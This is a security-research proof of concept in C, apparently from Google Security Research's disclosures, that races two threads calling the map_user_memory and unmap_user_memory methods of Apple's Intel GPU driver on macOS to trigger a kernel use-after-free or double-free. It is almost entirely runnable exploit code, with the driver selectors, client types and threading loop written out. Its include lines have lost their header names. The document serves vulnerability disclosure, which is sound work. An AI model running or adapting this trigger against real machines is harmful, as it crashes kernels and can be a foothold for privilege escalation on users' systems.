Apple Intel GPU Driver - Use-After-Free/Double-Delete due to bad Locking

Google Security Research 2018-10-22 dos macos
/*
This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.)

That report showed the bug in the unmap_user_memory external methods; a variant also exists
in the map_user_memory external methods.

The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe.

map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees)

tested on MacOS 10.13.5 (17F77) on MacBookPro10,1
*/

//ianbeer

// build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit

#if 0
UaF/Double-delete due to bad locking in Apple Intel GPU driver

This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.)

That report showed the bug in the unmap_user_memory external methods; a variant also exists
in the map_user_memory external methods.

The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe.

map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees)

tested on MacOS 10.13.5 (17F77) on MacBookPro10,1

#endif

#include 
#include 
#include 
#include 
#include 

#include 
#include 

#include 

#include 

#include 

#include 


struct mem_desc {
  uint64_t ptr;
  uint64_t size;
};

uint64_t map_user_memory(mach_port_t conn) {
  kern_return_t err;
  void* mem = malloc(0x20000);
  // make sure that the address we pass is page-aligned:
  mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff);
  printf("trying to map user pointer: %p\n", mem);
  
  uint64_t inputScalar[16] = {0};  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096] = {0};
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16] = {0};
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096] = {0};
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x10;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  struct mem_desc* md = (struct mem_desc*)inputStruct;
  md->ptr = (uint64_t)mem;
  md->size = 0x1000;

  err = IOConnectCallMethod(
   conn,
   0x200, // IGAccelGLContext::map_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
   //return 0;
  } else{
    printf("worked? outputScalarCnt = %d\n", outputScalarCnt);
  }
    
  printf("outputScalarCnt = %d\n", outputScalarCnt);

  md = (struct mem_desc*)outputStruct;
  printf("0x%llx :: 0x%llx\n", md->ptr, md->size);

  return (uint64_t)mem;
}

uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) {
  kern_return_t err;
  
  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 0;

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;

  inputScalarCnt = 0;
  inputStructCnt = 0x8;

  outputScalarCnt = 4096;
  outputStructCnt = 16;

  *((uint64_t*)inputStruct) = handle;

  err = IOConnectCallMethod(
   conn,
   0x201, // IGAccelGLContext::unmap_user_memory
   inputScalar,
   inputScalarCnt,
   inputStruct,
   inputStructCnt,
   outputScalar,
   &outputScalarCnt,
   outputStruct,
   &outputStructCnt); 

  if (err != KERN_SUCCESS){
   printf("IOConnectCall error: %x\n", err);
  } else{
    printf("worked?\n");
  }
  
  return 0;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

volatile mach_port_t gl_context = MACH_PORT_NULL;

#define N_HANDLES 40
void go(void* arg){
  while (1) {
    uint64_t handles[N_HANDLES] = {0};
    for (int i = 0; i < N_HANDLES; i++) {
      handles[i] = map_user_memory(gl_context);
    }
    
    for (int i = 0; i < N_HANDLES; i++) {
      unmap_user_memory(gl_context, handles[i]);
    }
  }
}





int main(int argc, char** argv){
  // get an IGAccelGLContext
  gl_context = get_user_client("IntelAccelerator", 1);
  printf("gl_context: %x\n", gl_context);
  
  // get a IGAccelSharedUserClient
  mach_port_t shared = get_user_client("IntelAccelerator", 6);
  printf("shared: %x\n", shared);

  // connect the gl_context to the shared UC so we can actually use it:
  kern_return_t err = IOConnectAddClient(gl_context, shared);
  if (err != KERN_SUCCESS){
   printf("IOConnectAddClient error: %x\n", err);
   return 0;
  }

  printf("added client to the shared UC\n");

#define N_THREADS 2
  pthread_t threads[N_THREADS];

  for (int i = 0; i < N_THREADS; i++) {
    pthread_create(&threads[i], NULL, go, NULL);
  }

  pthread_join(threads[0], NULL);


  return 0;


}